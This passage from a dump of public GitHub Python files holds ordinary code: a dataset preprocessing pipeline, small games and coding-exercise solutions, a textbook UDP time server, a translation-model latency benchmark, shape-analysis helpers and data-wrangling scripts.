path=self.paths.xlsa_zip)\n\n def _dir(self):\n return DirectoryStructureTask(path=self.path)\n\n def requires(self):\n return [\n self._dir(),\n self._base_data(),\n self._img_features(),\n self._xlsa()\n ]\n\nclass UnpackDataTask(luigi.WrapperTask, AWATask):\n def requires(self):\n tmp_paths = TmpPaths(self.paths.tmp, as_str=True)\n\n # To unpack data, we need to have it downloaded. Since we can't force\n # downloading to happen before unpacking using this requires method, we\n # create decorated UnpackTask, that requires GetRawDataTask. Since\n # UnpackCls requires GetRawDataTask, we are sure that data is downloaded\n # before it's used.\n UnpackCls = luigi.util.requires(GetRawDataTask)(UnpackTask)\n\n # Normally when task '@requires' another task, this call happens behind\n # the scenes. self.clone copies self's params, and calls 'cls' with them\n # We could as well explicitly pass all needed self's params to UnpackCls\n Unpack = partial(self.clone, cls=UnpackCls)\n\n return [\n Unpack(\n input_path=self.paths.base_zip,\n output_dir=tmp_paths.root,\n output_paths=[tmp_paths.base_dir]\n ),\n Unpack(\n input_path=self.paths.features_zip,\n output_dir=tmp_paths.root,\n output_paths=[tmp_paths.features_dir]\n ),\n Unpack(\n input_path=self.paths.xlsa_zip,\n output_dir=tmp_paths.root,\n output_paths=[tmp_paths.xlsa_dir]\n )\n ]\n\n@requires(UnpackDataTask)\nclass ProcessAWABaseTask(AWATask):\n def _read_and_clean(self, path_to_file):\n names = readlines(path_to_file) # format: numer\\name\n # We ignore numbers, since we perfer 0 based indexing\n names = [line.split(\"\\t\")[1] for line in names] # list of names\n\n idx_to_name = names\n name_to_idx = {name : id for (id, name) in enumerate(names)}\n\n return (idx_to_name, name_to_idx)\n\n def map_labels(self):\n (idx_to_label,\n label_to_idx) = self._read_and_clean(self.tmp_paths.classes_txt)\n\n json_dump(idx_to_label, self.paths.label_itos)\n json_dump(label_to_idx, self.paths.label_stoi)\n\n def map_attrs(self):\n (idx_to_attrib,\n attrib_to_idx) = self._read_and_clean(self.tmp_paths.attrs_txt)\n\n json_dump(idx_to_attrib, self.paths.attrs_itos)\n json_dump(attrib_to_idx, self.paths.attrs_stoi)\n\n def create_attributes_matrix(self):\n bin_mat = numpy_array_from_text(self.tmp_paths.attrs_matrix_bin, dtype=np.int)\n cont_mat = numpy_array_from_text(self.tmp_paths.attrs_matrix_cont)\n assert bin_mat.size == cont_mat.size\n np.save(self.paths.attrs_bin, bin_mat)\n np.save(self.paths.attrs_cont, cont_mat)\n\n def run(self):\n self.map_labels()\n self.map_attrs()\n self.create_attributes_matrix()\n\n def output(self):\n return local_targets([\n self.paths.label_itos\n , self.paths.label_stoi\n , self.paths.attrs_itos\n , self.paths.attrs_stoi\n , self.paths.attrs_bin\n , self.paths.attrs_cont\n ])\n\n\n@requires(ProcessAWABaseTask)\nclass CreateTrainTestSplit(AWATask):\n \"\"\" Create train/test mask for each element.\n Additionally, create list of train/test/val indices.\n \"\"\"\n dev_size = luigi.IntParameter(default=500)\n\n def _create_split(self):\n # turn into 0 based idx -> -1\n labels = numpy_array_from_text(self.tmp_paths.labels, dtype=np.int64) - 1\n\n # Read split - format: class+name\n trainval_classes = readlines(self.tmp_paths.trainval_classes)\n test_classes = readlines(self.tmp_paths.test_classes)\n\n label_stoi = json_load(self.paths.label_stoi)\n # Turn class names to class indices\n trainval_class_indexes = [label_stoi[name] for name in trainval_classes]\n test_class_indexes = [label_stoi[name] for name in test_classes]\n\n train_mask = np.isin(labels, trainval_class_indexes)\n test_mask = np.isin(labels, test_class_indexes)\n assert all(train_mask | test_mask)\n\n np.savez(self.paths.testset_mask, seen=train_mask, unseen=test_mask)\n assert train_mask.ndim == 1\n train_indices = np.nonzero(train_mask)[0]\n dev_indices = np.random.choice(train_indices, self.dev_size, replace=False)\n test_indices = np.nonzero(test_mask)[0]\n assert train_indices.ndim == 1\n assert dev_indices.ndim == 1\n assert test_indices.ndim == 1\n np.save(self.paths.index_arrays.train, train_indices)\n np.save(self.paths.index_arrays.dev, dev_indices)\n np.save(self.paths.index_arrays.test, test_indices)\n\n def run(self):\n self._create_split()\n\n def output(self):\n return local_targets([\n self.paths.testset_mask\n , self.paths.index_arrays.train\n , self.paths.index_arrays.dev\n , self.paths.index_arrays.test\n ])\n\n\n@requires(CreateTrainTestSplit)\nclass SplitFeaturesAndLabels(AWATask):\n def _split(self):\n features = numpy_array_from_text(self.tmp_paths.features)\n # turn into 0 based idx -> -1\n labels = numpy_array_from_text(self.tmp_paths.labels, dtype=np.int64) - 1\n\n train_indices = np.load(self.paths.index_arrays.train)\n dev_indices = np.load(self.paths.index_arrays.dev)\n test_indices = np.load(self.paths.index_arrays.test)\n train_labels = labels[train_indices]\n dev_labels = labels[dev_indices]\n test_labels = labels[test_indices]\n np.save(self.paths.label_arrays.train, train_labels)\n np.save(self.paths.label_arrays.dev, dev_labels)\n np.save(self.paths.label_arrays.test, test_labels)\n\n train_features = features[train_indices]\n dev_features = features[dev_indices]\n test_features = features[test_indices]\n np.save(self.paths.resnet_features.train, train_features)\n np.save(self.paths.resnet_features.dev, dev_features)\n np.save(self.paths.resnet_features.test, test_features)\n\n def run(self):\n self._split()\n\n def output(self):\n return local_targets([\n self.paths.label_arrays.train\n , self.paths.label_arrays.dev\n , self.paths.label_arrays.test\n , self.paths.resnet_features.train\n , self.paths.resnet_features.dev\n , self.paths.resnet_features.test\n ])\n\nclass RunAllTask(Wrapper, AWATask):\n tasks = [SplitFeaturesAndLabels]\n\nclass Validate(AWATask):\n def _check_label_mapping(self):\n label_stoi = json_load(self.paths.label_stoi)\n label_itos = json_load(self.paths.label_itos)\n assert label_itos[0] == \"antelope\"\n assert label_itos[49] == \"dolphin\"\n for (idx, name) in enumerate(label_itos):\n assert idx == label_stoi[name]\n\n def _check_attrs_mapping(self):\n attrs_stoi = json_load(self.paths.attrs_stoi)\n attrs_itos = json_load(self.paths.attrs_itos)\n assert attrs_itos[0] == 'black'\n assert attrs_itos[84] == 'domestic'\n for (idx, name) in enumerate(attrs_itos):\n assert idx == attrs_stoi[name]\n\n def _check_indices(self):\n train_indices = np.load(self.paths.index_arrays.train)\n assert ( 0 in train_indices)\n assert (20173 in train_indices)\n assert (22400 in train_indices)\n test_indices = np.load(self.paths.index_arrays.test)\n assert (30600 in test_indices) # first sheep\n assert (32019 in test_indices) # last sheep\n assert ( 1796 in test_indices) # first bobcat\n assert ( 2425 in test_indices) # last bobcat\n assert ( 1622 in test_indices) # first blue+whale\n assert ( 1046 in test_indices) # first bat\n dev_indices = np.load(self.paths.index_arrays.dev)\n assert np.intersect1d(train_indices, test_indices).size == 0\n assert np.intersect1d(dev_indices, test_indices).size == 0\n\n def _check_labels(self):\n train_labels = np.load(self.paths.label_arrays.train)\n assert train_labels[0] == 0 # antelope, first train class\n assert train_labels[-1] == 37 # zebra, last train class\n test_labels = np.load(self.paths.label_arrays.test)\n assert test_labels[0] == 29 # bat, first test class\n assert test_labels[-1] == 46 # walrus, last tets class\n\n def _check_features(self):\n # Quick and dirty check for number similarity\n similar = lambda x, y: abs(x-y) < 1e-4\n\n train_features = np.load(self.paths.resnet_features.train)\n # first antelope\n assert similar(train_features[0,0], 0.12702841)\n assert similar(train_features[0,-1], 0.40761620)\n # last zebra\n assert similar(train_features[-1, 0], 0.24346060)\n assert similar(train_features[-1, -1], 0.06219054)\n\n test_features = np.load(self.paths.resnet_features.test)\n # first bat\n assert similar(test_features[0,0], 0.53858560)\n assert similar(test_features[0,-1], 0.06032756)\n # last walrus\n assert similar(test_features[-1,0], 0.55041420)\n assert similar(test_features[-1,-1], 0.56979007)\n\n def run(self):\n self._check_label_mapping()\n self._check_attrs_mapping()\n self._check_indices()\n self._check_labels()\n self._check_features()\n print(\"All checks successful\")","repo_name":"elanmart/zs","sub_path":"pyzsl/data/awa/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":11488,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"2227846455","text":"from turtle import Screen, Turtle\nimport pandas as pd\n\n# Setting the screen\nscreen = Screen()\nimage = 'blank_states_img.gif'\nscreen.addshape(image)\nmap = Turtle()\nmap.shape(image)\n\nt = Turtle()\nt.ht()\nt.pu()\n\n# Reading the CSV File\ndata = pd.read_csv('50_states.csv')\n\ngame_is_on = True\nwhile game_is_on:\n user_input = screen.textinput(\"Statesgame!\", \"Name a state from the United States of America\").capitalize()\n # Getting row where state is user_input\n row = data[data.state == user_input]\n\n if not row.empty:\n t.goto(int(row.x), int(row.y))\n t.write(user_input)\n \n\n\nscreen.exitonclick()","repo_name":"sypai/100DaysOfPython","sub_path":"Day25/StatesGame/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"12538541138","text":"class Solution:\n def medianSlidingWindow(self, nums: List[int], k: int) -> List[float]:\n\n window, medians = [], []\n for i, num in enumerate(nums):\n\n # insert an element into sorted list\n # the resulting list would be still in order\n bisect.insort(window, num)\n\n if i >= k:\n # remove the element that is just out of scope\n # window.remove(nums[i-k])\n # apply binary search to locate the element to remove\n # but it won't make much difference, since eventually\n # we need to shift the elements\n window.pop(bisect.bisect(window, nums[i-k]) - 1)\n\n if i >= k - 1:\n if k % 2 == 0:\n median = (window[k//2] + window[k//2 - 1]) / 2\n else:\n median = window[k//2]\n\n medians.append(median)\n\n\n return medians","repo_name":"liaison/LeetCode","sub_path":"python/480_sliding_window_median.py","file_name":"480_sliding_window_median.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"72"} +{"seq_id":"71646722794","text":"\"\"\"\nGiven the root of a binary tree, return the postorder traversal of its nodes' values.\n\"\"\"\n\nfrom typing import Optional\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\ndef postorderTraversal(root: Optional[TreeNode]) -> list[int]:\n paths = []\n\n def walk(node: Optional[TreeNode]):\n if node is None:\n return\n\n walk(node.left)\n walk(node.right)\n paths.append(node.val)\n\n walk(root)\n return paths\n\n\n","repo_name":"kennyhml/leetcode","sub_path":"easy/postorder_traversal.py","file_name":"postorder_traversal.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"38582860295","text":"#coding=utf-8\n__author__ = 'royxu'\n#UDP Wrong Time Server -Chapter 4 - udptimeserver.py\n\nimport socket\nimport traceback\nimport struct\nimport time\n\nhost = ''\nport = 51423\n\ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\ns.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\ns.bind((host, port))\n\nwhile 1:\n try:\n message, address = s.recvfrom(8192)\n secs = int(time.time())\n secs -= 60 * 60 * 24\n secs += 2208988800\n reply = struct.pack(\"!I\", secs)\n s.sendto(reply, address)\n except (KeyboardInterrupt, SystemExit):\n raise\n except:\n traceback.print_exc()","repo_name":"jameshilliard/PythonCode","sub_path":"NetworkProgram/chapter4/udptimeserver.py","file_name":"udptimeserver.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"39245899566","text":"#!/usr/bin/env python\nimport pickle\nimport sys\nimport dill\nimport pandas as pd\nfrom pddlgym.core import PDDLEnv\nimport joblib\n\nfrom myfunctions import *\n\n\n\ndef recognize(folder, metric, o):\n results = pd.DataFrame()\n\n print('Recognize domain:', folder + 'domain.pddl', 'problems:', folder + 'problems/')\n env = PDDLEnv(folder + 'domain.pddl', folder + 'problems/', raise_error_on_invalid_action=True, dynamic_action_space=True)\n obs_traces = []\n n_goals = len(env.problems)\n real_goal = 0\n with open(folder + 'real_hypn.dat', 'rb') as goal:\n real_goal = int(goal.readline())\n with open(folder + 'policies.pkl', 'rb') as file:\n policies = dill.load(file)\n with open(folder + 'actions.pkl', 'rb') as file:\n actions = dill.load(file)\n\n with open(folder + 'obs' + str(o) +'.pkl', \"rb\") as input_file:\n obs_traces.append(pickle.load(input_file))\n\n\n\n for i, trace in enumerate(obs_traces):\n\n distances, correct, pred_goal = goalRecognition(trace, policies, actions, real_goal, n_goals, metric)\n\n x = {'problem': folder, \n 'obs': o,\n 'metric': metric, \n 'g0': distances[0], 'g1': distances[1], 'g2': distances[2], 'g3': distances[3], \n 'real_goal': real_goal, 'pred_goal': pred_goal, 'correct': correct}\n x_dictionary = pd.DataFrame([x])\n \n results = pd.concat([results, x_dictionary], ignore_index=True)\n\n \n \n print(results)\n Path(f'{folder}/results_gr/').mkdir(parents=True, exist_ok=True)\n results.to_csv(f'{folder}/results_gr/{metric}_{o}.csv', index=False)\n return results\n\n\nif __name__ == \"__main__\":\n args = sys.argv[1:]\n if len(args) != 3: exit()\n folder = args[0] + '/'\n metric = args[1]\n obs = args[2]\n recognize(folder, metric, obs)\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"ClauNL/reinforcement-learning-GR","sub_path":"recognize.py","file_name":"recognize.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"42562093910","text":"#!/usr/local/bin/python3\ndef q_1(iArr, iIncrease = 1, iIncreaseThreshold = 3):\n\ti, iTarget, iCnt = 0, 0, 0\n\twhile iTarget < len(iArr):\n\t\ti = iTarget\n\t\tiTarget += iArr[i]\n\t\tif iArr[i] >= iIncreaseThreshold:\n\t\t\tiArr[i] += iIncrease\n\t\telse:\n\t\t\tiArr[i] += 1\n\t\tiCnt += 1\n\treturn iCnt\n\ndef main():\n\tss = []\n\twith open('input.txt') as f:\n\t\tfor content in f:\n\t\t\tcontent = content.rstrip('\\n')\n\t\t\tss.append(int(content))\n\tiArr = []\n\tfor s in ss:\n\t\tiArr.append(int(s))\n\tiArr2 = iArr[:]\n\tprint(q_1(iArr))\n\tprint(q_1(iArr2, -1, 3))\n\treturn 0\n\n# end of main\n\nif __name__ == '__main__':\n\tmain()","repo_name":"Yifeng-se/advent_of_code_2017","sub_path":"day05.py","file_name":"day05.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"36238226710","text":"# -*- coding: utf-8 -*-\nimport dash\nimport dash_table\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport dash_bootstrap_components as dbc\nimport pandas as pd\nfrom datetime import datetime, timedelta\n\nimport plotly.express as px\nimport plotly.graph_objects as go\nfrom plotly.subplots import make_subplots\nimport plotly.figure_factory as ff\n\nimport json\n\nimport folium\nfrom folium.plugins import HeatMap\nimport numpy as np\n\nfrom geopy.geocoders import Nominatim\ngeolocator = Nominatim(user_agent=\"My_App\")\n\nfrom sklearn.neighbors import KNeighborsClassifier\n\nwith open('loc_data.json','r') as file:\n location_dict = json.load(file)\n\nfrom clean import *\n\nimport base64\n\nimage_filename = 'images/tinderbot_logo.png' # replace with your own image\nencoded_image = base64.b64encode(open(image_filename, 'rb').read())\n\n\n\n################################################################################################\n############ GATHER LATEST DATA ################################################################\n################################################################################################\n\n\ndf = pd.read_csv('data/profile_data.csv')\ndf = clean(df)\nstats(df)\ndf = fill_missing_cities(df)\ndf = add_location_values(df)\n# map = plot_user_heatmap(df)\n# map.save('heatmap.html')\n\n################################################################################################\n############ GENERATE PLOTS ###################################################################\n################################################################################################\n\n\n################################################################################################\n############ START DASH APP ####################################################################\n################################################################################################\n\nBootyStrap = \"https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css\"\n\napp = dash.Dash(__name__, \n external_stylesheets=[BootyStrap],\n meta_tags=[\n {\"name\": \"author\", \"content\": \"Matt Hwang\"}\n ]\n )\n\napp.title = 'Tinderbot'\nserver = app.server\n\n# app.config['suppress_callback_exceptions'] = True # This is to prevent app crash when loading since we have plot that only render when user clicks.\n\n\n\napp.layout = html.Div(style={'backgroundColor': '#fafbfd'},\n children=[\n # HEADER START\n\n html.Div(style={'marginRight': '1.5%',},\n id=\"header\",\n children=[\n html.Img(src='data:image/png;base64,{}'.format(encoded_image)),\n\n html.H1(\n children=\"Tinderbot\",\n style={\n 'textAlign': 'center',\n }),\n\n html.H4(\n children='Statistical insight based on worldwide Tinder profiles gathered by an automated bot',\n style={\n 'textAlign': 'center',\n }\n ),\n\n html.Hr(style={'marginTop': '.5%'},),\n\n html.P(\n id=\"description\",\n children=dcc.Markdown(\n children=(\n '''\n On April 2nd (day after April Fool's Day lol), Tinder announced that it will open up the use\n of it's Passport feature to all Tinder users. The Passport feature allows you to match\n with people all over the world versus your immediate area in an attempt to combat lonliness and boredom\n during the shelter in place and quarantine directives being rolled out all over.\n\n I decided to use this opportunity to gather Tinder profile information of users around the world to build\n a database to apply my newfound Data Science and Analytical skills towards in an attempt to combat lonliness and boredom\n during the shelter in place and quarantine directives being rolled out all over.\n\n '''\n )\n ),\n style={\n 'textAlign': 'center',\n }\n ),\n \n html.Hr(style={'marginTop': '.5%'},)\n \n ]),\n\n html.Div(style={'textAlign': 'center'},\n children=[\n html.Br(),\n html.H3('Stay safe out in them streets. Keep your distance and most importantly:'),\n html.H2('Wash 👏 Your 👏 Hands 👏 '),\n html.A('www.THWDesigns.com',href='https://thwdesigns.com'),\n ]),\n\n # FOOTER START\n html.Div(style={'textAlign': 'center'},\n children=[\n html.Br(),\n html.Br(),\n html.Hr(),\n html.P('Shout out to the below GitHub repos for inspiration.'),\n html.A('Perishleaf Project', href='https://github.com/Perishleaf/data-visualisation-scripts/tree/master/dash-2019-coronavirus',target='_blank'),\n html.Br(),\n html.A('NYT Github',href='https://github.com/nytimes/covid-19-data'),\n ]),\n\n])\n\nif __name__ == '__main__':\n # change host from the default to '0.0.0.0' to make it publicly available\n app.server.run(port=8000, host='127.0.0.1')\n app.run_server(debug=True)","repo_name":"mdhwang/tinderbot","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4052898384","text":"# -*- coding: utf-8 -*-\nimport logging\nimport os\nfrom pathlib import Path\nfrom time import perf_counter\n\nimport numpy as np\nimport pandas as pd\nimport torch\nfrom tqdm import tqdm\nfrom transformers import (\n AutoConfig,\n AutoModelForSeq2SeqLM,\n AutoTokenizer,\n set_seed,\n)\n\nfrom optimum.onnxruntime import ORTModelForSeq2SeqLM\n\n\nSEED = 42\n\nlogging.basicConfig(level=logging.INFO)\n\n\n# Instanciate PyTorch model\ndef get_transformer_model(model_checkpoint):\n set_seed(SEED)\n device = torch.device(\"cuda:0\")\n model = AutoModelForSeq2SeqLM.from_pretrained(model_checkpoint).to(device)\n model.eval()\n tokenizer = AutoTokenizer.from_pretrained(model_checkpoint)\n return (model, tokenizer)\n\n\n# Instanciate ONNX model w/. and w/o. graph optimization\ndef get_onnx_model(model_checkpoint):\n device = torch.device(\"cuda:0\")\n model = ORTModelForSeq2SeqLM.from_pretrained(\"optimum/m2m100_418M\").to(device)\n tokenizer = AutoTokenizer.from_pretrained(model_checkpoint)\n return (model, tokenizer)\n\n\ndef benchmark(seq_len, model, tokenizer, device, frame, iterations=200, num_beam=1, model_id=\"m2m100_418m\"):\n # prepare data\n payload = \"机器学习是人工智能的一个分支。人工智能的研究历史有着一条从以“推理”为重点,到以“知识”为重点,再到以“学习”为重点的自然、清晰的脉络。显然,机器学习是实现人工智能的一个途径,即以机器学习为手段解决人工智能中的问题。机器学习在近30多年已发展为一门多领域交叉学科,涉及概率论、统计学、逼近论、凸分析(英语:Convex analysis)、计算复杂性理论等多门学科。机器学习理论主要是设计和分析一些让计算机可以自动“学习”的算法。机器学习算法是一类从数据中自动分析获得规律,并利用规律对未知数据进行预测的算法。因为学习算法中涉及了大量的统计学理论,机器学习与推断统计学联系尤为密切,也被称为统计学习理论。算法设计方面,机器学习理论关注可以实现的,行之有效的学习算法。很多推论问题属于无程序可循难度,所以部分的机器学习研究是开发容易处理的近似算法。机器学习已广泛应用于数据挖掘、计算机视觉、自然语言处理、生物特征识别、搜索引擎、医学诊断、检测信用卡欺诈、证券市场分析、DNA序列测序、语音和手写识别、战略游戏和机器人等领域。\"\n payload = tokenizer(payload, return_tensors=\"pt\")\n bos_token_ids = payload[\"input_ids\"][0][:2]\n eos_token_id = payload[\"input_ids\"][0][-1:]\n pure_payload = payload[\"input_ids\"][0][2:-1]\n if (seq_len - 3) <= len(pure_payload):\n payload = {\n \"input_ids\": torch.cat((bos_token_ids, pure_payload[:(seq_len - 3)], eos_token_id)).unsqueeze(0).to(device),\n \"attention_mask\": torch.ones((seq_len,), dtype=torch.int32).unsqueeze(0).to(device),\n }\n else:\n repeat = (seq_len - 3) // len(pure_payload)\n rest = (seq_len - 3) % len(pure_payload)\n payload = {\n \"input_ids\": torch.cat(\n (\n bos_token_ids,\n torch.cat((pure_payload.tile((repeat,)), pure_payload[:rest])),\n eos_token_id,\n )\n ).unsqueeze(0).to(device),\n \"attention_mask\": torch.ones((seq_len,), dtype=torch.int32).unsqueeze(0).to(device),\n }\n latencies_per_seq = []\n num_gen_tokens = []\n latencies_per_token = []\n # Warm up\n max_length = int(seq_len * 1.5)\n min_length = seq_len // 2\n for _ in range(10):\n _ = model.generate(\n **payload,\n forced_bos_token_id=tokenizer.get_lang_id(\"en\"),\n num_beams=num_beam,\n min_length=min_length,\n max_length=max_length,\n )\n\n # Timed run\n for _ in tqdm(range(iterations)):\n start_time = perf_counter()\n generated_tokens = model.generate(\n **payload,\n forced_bos_token_id=tokenizer.get_lang_id(\"en\"),\n num_beams=num_beam,\n min_length=min_length,\n max_length=max_length,\n )\n latency = 1000 * (perf_counter() - start_time) # Unit: ms\n num_tokens = generated_tokens.size(1)\n latency_per_token = latency / num_tokens\n latencies_per_seq.append(latency)\n num_gen_tokens.append(num_tokens)\n latencies_per_token.append(latency_per_token)\n\n # Compute run statistics\n time_avg_ms_per_seq = np.mean(latencies_per_seq)\n time_avg_ms_per_token = np.mean(latencies_per_token)\n time_p95_ms_per_seq = np.percentile(latencies_per_seq, 95)\n time_p95_ms_per_token = np.percentile(latencies_per_token, 95)\n\n # Record statistics for each iteration\n stat_dict = {\n \"time_ms_per_seq\": latencies_per_seq,\n \"num_gen_tokens\": num_gen_tokens,\n \"time_ms_per_token\": latencies_per_token,\n }\n df = pd.DataFrame.from_dict(stat_dict)\n df[\"num_iter\"] = iterations\n df[\"seq_len\"] = payload[\"input_ids\"].shape[1]\n df[\"model_id\"] = model_id\n df[\"framework\"] = frame\n df[\"num_beam\"] = num_beam\n df[\"time_avg_ms_per_seq\"] = time_avg_ms_per_seq\n df[\"time_avg_ms_per_token\"] = time_avg_ms_per_token\n df[\"time_p95_ms_per_seq\"] = time_p95_ms_per_seq\n df[\"time_p95_ms_per_token\"] = time_p95_ms_per_token\n\n return df\n\n# Run benchmark one by one\nmodel_id = \"facebook/m2m100_418M\"\n\ndevice = torch.device(\"cuda:0\")\npt_model, tokenizer = get_transformer_model(model_id)\npt_model.to(device)\nonnx_model, _ = get_onnx_model(model_id)\nonnx_model.to(device)\n\n# Benchmark\nres = []\nseq_lengths = [8, 16, 32, 64, 128, 256, 512]\nnum_beams = [1]\nfor seq_len in seq_lengths:\n print(\"seq_len: \", seq_len)\n for num_beam in num_beams:\n print(\"num_beam: \", num_beam)\n df_pt = benchmark(seq_len, pt_model, tokenizer, device, frame=\"PyTorch\", num_beam=num_beam, iterations=500)\n res.append(df_pt)\n\n df_onnx = benchmark(seq_len, onnx_model, tokenizer, device, frame=\"ONNX\", num_beam=num_beam, iterations=500)\n res.append(df_onnx)\n\n# Save result\nres = pd.concat(res, ignore_index=True)\nres.to_pickle(\"t4_res_ort_m2m100_418m_greedy.pkl\")\n\npd.read_pickle('t4_res_ort_m2m100_418m_greedy.pkl').head(10)\n","repo_name":"JingyaHuang/onnxruntime-inference-benchmark","sub_path":"benchmarks/onnxruntime/test_profiling_m2m.py","file_name":"test_profiling_m2m.py","file_ext":"py","file_size_in_byte":6361,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"} +{"seq_id":"35917374090","text":"from .geometry import *\nfrom .utils import *\nimport math\n\n'''\nfrom https://en.wikipedia.org/wiki/Procrustes_analysis\n'''\n\ndef procrustes_normalize_curve(curve):\n '''\n Args:\n curve: type array [[x, y]], [x, y]].\n Returns:\n procrustes_normalize_curve: procrustes_normalize_curve\n Descriptions:\n Translate and scale curve by Procrustes Analysis\n '''\n \n curve_length = len(curve)\n mean_x = array_average(list(map(lambda item: item[0], curve)))\n mean_y = array_average(list(map(lambda item: item[1], curve)))\n curve = list(map(lambda item: [item[0]-mean_x, item[1]-mean_y], curve))\n \n squared_sum = 0\n for i in range(curve_length):\n squared_sum += (curve[i][0])**2 + (curve[i][1])**2\n scale = round(squared_sum / curve_length, 2)\n return list(map(lambda item: [item[0]/scale, item[1]/scale], curve))\n\ndef find_procrustes_rotation_angle(curve, relativeCurve):\n '''\n Args:\n curve: type array [[x, y]], [x, y]].\n relativeCurve: type array [[x, y]], [x, y]].\n Warnings:\n `curve` and `relativeCurve` must have the same number of points\n `curve` and `relativeCurve` should both be run through [[procrustesNormalizeCurve]] first\n Returns:\n find_procrustes_rotation_angle: the angle to rotate\n Descriptions:\n Find the angle to rotate `curve` to match the rotation\n of `relativeCurve` using procrustes analysis\n '''\n \n assert len(curve) == len(relativeCurve), 'curve and relativeCurve must have the same length'\n numerator, denominator = 0, 0\n for i in range(len(curve)):\n numerator += relativeCurve[i][0]*curve[i][1] - relativeCurve[i][1]*curve[i][0]\n denominator += relativeCurve[i][0]*curve[i][0] + relativeCurve[i][1]*curve[i][1]\n return math.atan2(numerator, denominator)\n\ndef procrustes_normalize_rotation(curve, relativeCurve):\n '''\n Args:\n curve: type array [[x, y]], [x, y]].\n relativeCurve: type array [[x, y]], [x, y]].\n Warnings:\n `curve` and `relativeCurve` must have the same number of points\n `curve` and `relativeCurve` should both be run through [[procrustesNormalizeCurve]] first\n Returns:\n procrustes_normalize_rotation: rotate\n Descriptions:\n Rotate `curve` to match the rotation of \n `relativeCurve` using procrustes analysis\n '''\n\n angle = find_procrustes_rotation_angle(curve, relativeCurve)\n return rotate_curve(curve, angle)","repo_name":"nelsonwenner/shape-similarity","sub_path":"shapesimilarity/procrustesanalysis.py","file_name":"procrustesanalysis.py","file_ext":"py","file_size_in_byte":2329,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"72"} +{"seq_id":"22998275354","text":"\"\"\"Priority Queue data strcture.\"\"\"\n\n\nclass Priorityq:\n \"\"\"Priority Que class.\"\"\"\n\n def __init__(self, value=None, pri=0):\n \"\"\"Create a instance of the priority class.\"\"\"\n self.q = {}\n\n def insert(self, data, pri=0):\n \"\"\"Will insert a value in the priority queue with a priority of 0 or the optional priority input.\"\"\"\n from que_ import Queue\n if not data:\n raise ValueError('need value to push')\n try:\n self.q[pri]\n except KeyError:\n self.q[pri] = Queue()\n self.q[pri].enqueue(data)\n\n def pop(self):\n \"\"\"Will pop the first inserted instances of the highest priority and return the value.\"\"\"\n if self.q == {}:\n raise ValueError('need value to pop')\n pri_to_pop = sorted(self.q.keys())[-1]\n q_pop = self.q[pri_to_pop].dequeue()\n try:\n self.q[pri_to_pop].peek()\n except AttributeError:\n del self.q[pri_to_pop]\n return q_pop\n\n def peek(self):\n \"\"\"Return the next priority item that will be popped without popping the item.\"\"\"\n if self.q == {}:\n raise ValueError('no values available')\n pri_to_peek = sorted(self.q.keys())[-1]\n return self.q[pri_to_peek].peek()\n","repo_name":"han8909227/data-structures","sub_path":"src/priorityq.py","file_name":"priorityq.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"28751461746","text":"import numpy as np\nimport pandas as pd\nfrom astropy.table import Table, join, vstack\nfrom glob import glob\n\nroot_dir = '/shared/ebla/cotar/'\ndata_dir = root_dir + 'clusters/'\ntails_dir = data_dir + 'cluster_tails/'\n# data_dir_clusters = data_dir+'Gaia_open_clusters_analysis_October-GALAH-clusters/'\n#\ngalah_gaia = Table.read(root_dir + 'GALAH_iDR3_main_191213.fits')\ngalah_gaia['d'] = 1e3 / galah_gaia['parallax']\n# galah_gaia = Table.read(root_dir + 'sobject_iraf_53_reduced_20190801.fits')\n# cluster_sel = Table.read(data_dir_clusters + 'Cluster_members_Gaia_DR2_Kharchenko_2013_init.fits')\n#\n# cluster_sel = join(cluster_sel, galah_gaia['source_id', 'sobject_id'], keys=['source_id'], join_type='left')\n\ntxt_file = open(data_dir + 'members_open_gaia_r2.txt', 'r')\ntxt_lines_all = txt_file.readlines()\ntxt_file.close()\n\nout_table = Table(names=('cluster', 'sobject_id'),\n dtype=('S24', 'int64'))\nfor txt_line in txt_lines_all:\n txt_line.rstrip('\\n')\n cluster_name, cluster_sobjectid = txt_line.split('\\t')\n cluster_sobjectid = np.int64(cluster_sobjectid.split(','))\n\n for sobj in cluster_sobjectid:\n out_table.add_row((cluster_name, sobj))\n\n # cluster_sel_sub = cluster_sel[cluster_sel['cluster'] == cluster_name]\n #\n # in_sel = np.sum(np.in1d(cluster_sel_sub['sobject_id'], cluster_sobjectid))\n #\n # print '{:3.0f} {:3.0f} - '.format(in_sel, len(cluster_sobjectid)), cluster_name\n\nout_table = join(out_table, galah_gaia['source_id', 'sobject_id', 'ra', 'dec', 'd'], keys='sobject_id', join_type='left')\nout_table.write(data_dir + 'members_open_gaia_r2.fits', overwrite=True)\n\n# find and merge cluster tail membership data\ntails_data = 